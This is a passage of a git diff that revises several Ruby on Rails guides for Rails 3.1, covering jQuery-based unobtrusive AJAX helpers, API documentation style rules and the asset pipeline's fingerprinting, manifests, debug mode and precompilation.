+logger.around_info("before", "after") { |logger| logger.info("during") } </ruby> h4. +silence+ @@ -3561,8 +3599,3 @@ end </ruby> NOTE: Defined in +active_support/core_ext/load_error.rb+. - -h3. Changelog - -* August 10, 2010: Starts to take shape, added to the index. -* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 8b72e20c33..3a0ccfe9b2 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -3,7 +3,7 @@ h2. AJAX on Rails This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics: * Quick introduction to AJAX and related technologies -* Handling JavaScript the Rails way: Rails helpers, Prototype and script.aculo.us +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc * Testing JavaScript functionality endprologue. @@ -24,20 +24,80 @@ h4. Standard HTML communication vs AJAX How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section) +h3. Built-in Rails Helpers +Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as: +<ruby> +javascript_include_tag :defaults +</ruby> +h4. Examples +All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method. -h3. Built-in Rails Helpers +<ruby> +button_to "New", :action => "new", :form_class => "new-thing" +</ruby> + +will produce -Rails' JavaScript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose JavaScript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other JavaScript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views. +<html> +<form method="post" action="/controller/new" class="new-thing"> + <div><input value="New" type="submit" /></div> +</form> +</html> -To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so: <ruby> -javascript_include_tag 'prototype' +button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } </ruby> +will produce + +<html> +<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + <div><input value="Create" type="submit" /></div> +</form> +</html> + +<ruby> +button_to "Delete Image", { :action => "delete", :id => @image.id }, + :confirm => "Are you sure?", :method => :delete +</ruby> + +will produce + +<html> +<form method="post" action="/images/delete/1" class="button_to"> + <div> + <input type="hidden" name="_method" value="delete" /> + <input data-confirm='Are you sure?' value="Delete" type="submit" /> + </div> +</form> +</html> + +<ruby> +button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?', + :method => "delete", :remote => true, :disable_with => 'loading...') +</ruby> + +will produce + +<html> +<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> + <div> + <input name='_method' value='delete' type='hidden' /> + <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' /> + </div> +</form> +</html> + +You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application. + +<shell> +rails new app_name -j prototype +</shell> + You are ready to add some AJAX love to your Rails app! h4. The Quintessential AJAX Rails Helper: link_to_remote @@ -59,7 +119,6 @@ link_to_remote "Add to cart", </ruby> * The very first parameter, a string, is the text of the link which appears on the page. - * The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff: ** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too. ** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: @@ -109,7 +168,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet link_to_remote "Update record", :url => record_url(record), :method => :put, - :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" </ruby> This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). @@ -129,6 +188,7 @@ link_to_remote "Add new item", 404 => "alert('Item not found!')" </ruby> Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: + <ruby> link_to_remote "Add new item", :url => items_url, @@ -138,6 +198,7 @@ link_to_remote "Add new item", :success => "display_item_added(request)", :failure => "display_error(request)" </ruby> + ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser @@ -193,7 +254,6 @@ end What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). - h3. Testing JavaScript JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile index 50e86e05a8..99eb668513 100644 --- a/railties/guides/source/api_documentation_guidelines.textile +++ b/railties/guides/source/api_documentation_guidelines.textile @@ -35,7 +35,7 @@ Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite databa h3. English -Please use American English (_color_, _center_, _modularize_, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences. +Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences. h3. Example Code @@ -78,14 +78,14 @@ The result of expressions follow them and are introduced by "# => ", vertically If a line is too long, the comment may be placed on the next line: <ruby> - # label(:post, :title) - # # => <label for="post_title">Title</label> - # - # label(:post, :title, "A short title") - # # => <label for="post_title">A short title</label> - # - # label(:post, :title, "A short title", :class => "title_label") - # # => <label for="post_title" class="title_label">A short title</label> +# label(:post, :title) +# # => <label for="post_title">Title</label> +# +# label(:post, :title, "A short title") +# # => <label for="post_title">A short title</label> +# +# label(:post, :title, "A short title", :class => "title_label") +# # => <label for="post_title" class="title_label">A short title</label> </ruby> Avoid using any printing methods like +puts+ or +p+ for that purpose. @@ -106,7 +106,6 @@ routes.rb # NO RAILS_ROOT/config/routes.rb # NO </plain> - h3. Fonts h4. Fixed-width Font @@ -147,7 +146,7 @@ h3. Description Lists In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): <ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. </ruby> The description starts in upper case and ends with a full stop—it's standard English. @@ -184,8 +183,3 @@ self.class_eval %{ end } </ruby> - -h3. Changelog - -* July 17, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn - diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile index 5999c78369..afaf0f6fe3 100644 --- a/railties/guides/source/asset_pipeline.textile +++ b/railties/guides/source/asset_pipeline.textile @@ -1,6 +1,6 @@ h2. Asset Pipeline -This guide will cover the ideology of the asset pipeline introduced in Rails 3.1. +This guide covers the asset pipeline introduced in Rails 3.1. By referring to this guide you will be able to: * Understand what the asset pipeline is and what it does @@ -13,16 +13,22 @@ endprologue. h3. What is the Asset Pipeline? -The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, SCSS and ERB. +The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. -Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 includes the +sprockets-rails+ gem, which depends on the +sprockets+ gem, by default. +Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. -By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "Fast by default" strategy as outlined by DHH in his 2011 keynote at Railsconf. +By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. -In new Rails 3.1 application the asset pipeline is enable by default. It can be disabled in +application.rb+ by putting this line inside the +Application+ class definition: +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: -<plain> +<ruby> config.assets.enabled = false +</ruby> + +You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option. + +<plain> +rails new appname --skip-sprockets </plain> It is recommended that you use the defaults for all new apps. @@ -30,29 +36,31 @@ It is recommended that you use the defaults for all new apps. h4. Main Features -The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser needs to make to render a web page. While Rails already has a feature to concatenate these types of asset--by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+--, many people do not use it. +The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. + +While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. -The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. +The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. -The second feature is to minify or compress. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. +The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. -The third feature is the ability to code these assets using another language, or language extension. These include SCSS or Sass for CSS, CoffeeScript for JavaScript, and ERB for both. +The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both. h4. What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique where the filenames of content that is static or infrequently updated is altered to be unique to the content contained in the file. +Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cachebusting_. +When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_. -The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the hash. +The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming: <plain> -global.css => global-908e25f4bf641868d8683022a5b62f54.css +global-908e25f4bf641868d8683022a5b62f54.css </plain> This is the strategy adopted by the Rails asset pipeline. -Rails old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: +Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: <plain> /stylesheets/global.css?1309495796 @@ -62,8 +70,8 @@ This has several disadvantages: <ol> <li> - <strong>Not all caches will cache content with a query string</strong><br> - "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in these case 5-20% of requests will not be cached. + <strong>Not all caches will cache content with a query string</strong>.<br> + "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. </li> <li> <strong>The file name can change between nodes in multi-server environments.</strong><br> @@ -71,9 +79,11 @@ This has several disadvantages: </li> </ol> -The other problem is that when static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. +The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. + +Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content. -Fingerprinting avoids all these problems by ensuring filenames are consistent based on the content. +Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. More reading: @@ -83,14 +93,18 @@ More reading: h3. How to Use the Asset Pipeline -In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory will be served by the Sprockets middleware included in the sprockets gem. +In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served. -When a scaffold or controller is generated for the application, Rails will also generate a JavaScript file (or CoffeeScript if the +coffee-script+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS if +sass-rails+ is in the +Gemfile+) file for that controller. +In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server. + +When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Asset Organization Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. @@ -101,13 +115,17 @@ Assets can be placed inside an application in one of three locations: +app/asset +vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins. -All subdirectories that exist within these three locations will be added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths will be looked through to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. +All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. -h4. Coding Links to Assets +You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example: -To access assets, we can use the same tags that we are generally familiar with: +<ruby> +config.assets.paths << Rails.root.join("app", "assets", "flash") +</ruby> + +h4. Coding Links to Assets -Sprockets does not add any new methods to require your assets, we still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. +Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. <erb> <%= stylesheet_link_tag "application" %> @@ -120,65 +138,88 @@ In regular views you can access images in the +assets/images+ directory like thi <%= image_tag "rails.png" %> </erb> -Images can be organized into directories if required, and they can be accessed by specifying the directory's name in the tag: +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver. + +Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. + +Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines. + +Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: <erb> <%= image_tag "icons/rails.png" %> </erb> -Providing that assets are enabled within our application (+config.assets.enabled+ in the current environment's file is not set to +false+), this file will be served by Sprockets unless a file at +public/assets/rails.png+ exists, in which case that file will be served. - -Alternatively, a file with an MD5 hash after its name such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ will also be picked up by Sprockets. How these hashes are generated is covered in the "Production Assets":#production_assets section later on in this guide. - -Otherwise, Sprockets will look through the available paths until it finds a file that matches the name and then will serve it, first looking in the application's assets directories and then falling back to the various engines of the application. +h5. CSS and ERB -If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme - a method of embedding the image data directly into the CSS file - you can use the +asset_data_uri+ helper. +If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules: <plain> -#logo { background: url(<%= asset_data_uri 'logo.png' %>) +.class { background-image: url(<%= asset_path 'image.png' %>) } </plain> -This will insert a correctly formatted data URI into the CSS source. +This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. -h5. CSS and ERB - -If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+ then you can use the +asset_path+ helper in your CSS rules: +If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. <plain> -.class{background-image:<%= asset_path 'image.png' %>} +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } </plain> -This will write the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file then that path will be referenced. +This inserts a correctly-formatted data URI into the CSS source. Note that the closing tag cannot be of the style +-%>+. -h5. CSS and SCSS +h5. CSS and Sass -When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, javascript, stylesheet. +When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. -* +image_url("rails.png")+ becomes +url(/assets/rails.png)+ -* +image_path("rails.png")+ becomes +"/assets/rails.png"+. +* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ +* +image-path("rails.png")+ becomes +"/assets/rails.png"+. The more generic form can also be used but the asset path and class must both be specified: -* +asset_url("rails.png", "image")+ becomes +url(/assets/rails.png)+ -* +asset_path("rails.png", "image")+ becomes +"/assets/rails.png"+ +* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ +* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ + +h5. JavaScript/CoffeeScript and ERB + +If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: + +<erb> +$('#logo').attr({ + src: "<%= asset_path('logo.png') %>" +}); +</erb> + +This writes the path to the particular asset being referenced. + +Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+): + +<plain> +$('#logo').attr src: "<%= asset_path('logo.png') %>" +</plain> h4. Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ - instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets will load the files specified, process them if necessary, concatenate them into one single file and then compress them (if +Rails.application.config.assets.compress+ is set to +true+). By serving one file rather than many, a page's load time is greatly reduced as there is not as many requests to make for each file. +Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines: <plain> +// ... //= require jquery //= require jquery_ujs //= require_tree . </plain> -In JavaScript files, directives begin with +//=+. In this case, the following file is using the +require+ directive and the +require_tree+ directive. The +require+ directive tells Sprockets that we would like to require a file called +jquery.js+ that is available somewhere in the search path for Sprockets. By default, this is located inside the +vendor/assets/javascripts+ directory contained within the +jquery-rails+ gem. An identical event takes place for the +jquery_ujs+ require +In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. + +NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. -The +require_tree .+ directive tells Sprockets to include _all_ JavaScript files in this directory into the output. Only a path relative to the file can be specified. +The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). + +Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. There's also a default +app/assets/stylesheets/application.css+ file which contains these lines: @@ -189,13 +230,15 @@ There's also a default +app/assets/stylesheets/application.css+ file which conta */ </plain> -The directives that work in the JavaScript files will also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. +The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. + +In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected. -In this example +require_self+ is used. This will put the CSS contained within the file (if any) at the top of any other CSS in this file unless +require_self+ is specified after another +require+ directive. +NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application. -For some assets (like CSS) the compiled order is important. You can specify individual files and they will be compiled in the order specified: +The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified: <plain> /* ... @@ -208,98 +251,159 @@ For some assets (like CSS) the compiled order is important. You can specify indi h4. Preprocessing -The file extensions used on an asset will determine what preprocessing will be applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file will be generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and a +app/assets/stylesheets/projects.css.scss+ file. +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. -When these files are requested, they will be processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. +When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. -Additional layers of pre-processing can be requested by adding other extensions, where each extension will be processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ would first be processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file - +app/assets/javascripts/projects.js.coffee.erb+ would be process as ERB, CoffeeScript and served as JavaScript. +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript. -Keep in mind that the order of these pre-processors is important. For example, if we called our JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore we would run into problems. +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. h3. In Development -In the development environment assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-validate+ Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (not-modified) response. - -If any of the files in the manifest have changed between requests, the server will respond with a new compiled file. - -h4. Debugging Assets +In development mode assets are served as separate files in the order they are specified in the manifest file. -You can put +?debug_assets=true+ or +?debug_assets=1+ at the end of a URL and Sprockets will expand the lines which load the assets. For example, if we had an +app/assets/javascripts/application.js+ file containing these lines: +This manifest +app/assets/javascripts/application.js+: <plain> -//= require "projects" -//= require "tickets" +//= require core +//= require projects +//= require tickets </plain> -By default, this would only render this line when used with +<%= javascript_include_tag "application" %>+ in a view or layout: +would generate this HTML: <html> -<script src='/assets/application.js'></script> +<script src="/assets/core.js?body=1" type="text/javascript"></script> +<script src="/assets/projects.js?body=1" type="text/javascript"></script> +<script src="/assets/tickets.js?body=1" type="text/javascript"></script> </html> -When the +debug_assets+ parameter is set, this line will be expanded out into three separate lines, separating out the combined file into their parts. +The +body+ param is required by Sprockets. + +h4. Turning Debugging off + +You can turn off debug mode by updating +config/environments/development.rb+ to include: + +<ruby> +config.assets.debug = false +</ruby> + +When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: <html> -<script src='/assets/application.js'></script> -<script src='/assets/projects.js'></script> -<script src='/assets/tickets.js'></script> +<script src="/assets/application.js" type="text/javascript"></script> </html> -This allows the individual parts of an asset to be rendered and debugged separately. +Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. + +If any of the files in the manifest have changed between requests, the server responds with a new compiled file. + +Debug mode can also be enabled in the Rails helper methods: + +<erb> +<%= stylesheet_link_tag "application", :debug => true %> +<%= javascript_include_tag "application", :debug => true %> +</erb> + +The +:debug+ option is redundant if debug mode is on. + +You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. h3. In Production -In the production environment, assets are served slightly differently. +In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server. -On the first request the assets are compiled and cached as described above, however the manifest names are altered to include an MD5 hash. Files names typically will look like these: +During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. -<plain> -/assets/application-908e25f4bf641868d8683022a5b62f54.js -/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css -</plain> +For example this: -The MD5 is generated from the contents of the compiled files, and is included in the HTTP +Content-MD5+ header. +<erb> +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +</erb> -Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +generates something like this: + +<html> +<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" /> +</html> + +The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). -This behavior is controlled by the setting of +config.action_controller.perform_caching+ setting in Rails (which is +true+ for production, +false+ for everything else). This value is propagated to Sprockets during initialization for use when action_controller is not available. +NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. h4. Precompiling Assets -Even though assets are served by Rack::Cache with far-future headers, in high traffic sites this may not be fast enough. +Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. -Rails comes bundled with a rake task to compile the manifests to files on disc. These are located in the +public/assets+ directory where they will be served by your web server instead of the Rails application. +Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory. + +You must use this task either during deployment or locally if you do not have write access to your production filesystem. The rake task is: <plain> -rake assets:precompile +bundle exec rake assets:precompile </plain> -You can run this as part of a Capistrano deployment: +For faster asset precompiles, you can partially load your application by setting 